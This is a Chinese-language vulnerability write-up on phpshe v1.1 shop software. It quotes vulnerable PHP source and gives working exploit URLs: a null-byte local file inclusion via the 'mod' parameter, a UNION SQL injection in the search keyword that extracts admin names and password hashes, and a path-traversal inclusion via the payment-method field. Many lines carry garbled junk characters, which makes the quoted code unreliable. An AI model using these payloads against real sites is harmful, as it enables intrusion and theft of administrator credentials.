phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
% T* F" F; o+ _8 h' ]/* Phpshe v1.1 Vulnerability
/* ========================
9 Y4 m' Z6 H( q/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
$ N4 Y/ {8 h$ C" I0×00 整体大概参数传输


! M- ]) J8 t2 ~& P* p5 i
//common.php
5 e; a) p: Y$ v) I2 Rif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
# }% r" c1 R5 Q8 y0 y6 Q7 t" }else {
" Y0 y2 z$ a! P' h!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
. o. R, m# N0 x/ n* F' \7 m* j( M9 j7 N!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
1 x: Q% w0 \* L9 ?# C  C- C% Osession_start();
0 y( e0 a5 U- |: I( d" ?( U6 q!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


  s; S9 {( `" p0 ^( I- t//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% b3 F6 [( @% W0 ?include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' X) q% |- O# e/ H# ~pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
3 R; w* z0 p: F( O# `//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

$ e- w7 M9 S. A
0×02 搜索注入
) e: ^1 j4 u% H( J9 g# o
$ d: d1 H2 ]0 e/ Q<code id="code2">

//product.php文件
+ g; J% Y: m! @/ Zcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
; i- B4 a# m+ r3 ], s# E, h/ a5 bpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
1 m* n# m: d+ z" r1 t9 X" y}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
6 x6 z! Q3 h% o5 f& |if ($_g_orderby) {
; b! r/ u( X$ T' W& f+ }1 {7 y' m$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 K$ f- }2 n& l0 i}
7 E4 o  p- N# Z* s5 a9 Zelse {
' Y' b+ X  T; b: F; G7 N7 L$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. p* P& h' ]% V+ A  w' H//热卖排行
9 h! |8 T( m$ E0 Q; ^$product_hotlist = product_hotlist();
& F! Q3 X& M: [, ^5 u& E0 A//当前路径
/ F; i3 ?% U( u' q  p  s" `5 u$nowpath = category_path($category_id);
& e. `0 I. i7 J6 x* S$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
1 b4 K  F5 H8 G  Q. o{
4 I$ D' _3 \# `$ J//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
. G% v& _6 @5 }product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
. B" m. @0 C! q! `- T3 c2 Y$ }+ _

</code>
% ~' M! a$ J* g* w- i
' ]& R. M  j6 ?  H( K7 d* m: f0×03 包含漏洞2
8 j" f; H* S! s
<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

* q  e3 j$ ~7 i) u" |& g) @$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

6 F! B3 N8 \* R" i% B. L9 S}

: n6 @; m0 s2 W$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 v2 q: I) [% j/ I/ x1 G!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

9 E6 `* A: \; m# Hif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

  ~! T; B( S6 P7 K4 `foreach ($info_list as $v) {

/ k# v2 [. t1 J. x" [$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

$ t( a; @0 S6 b8 spe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

$ q+ E4 p& ]# {4 e, Cinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
7 X& a6 r" O8 L& ^- ~8 }' c$ Zhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg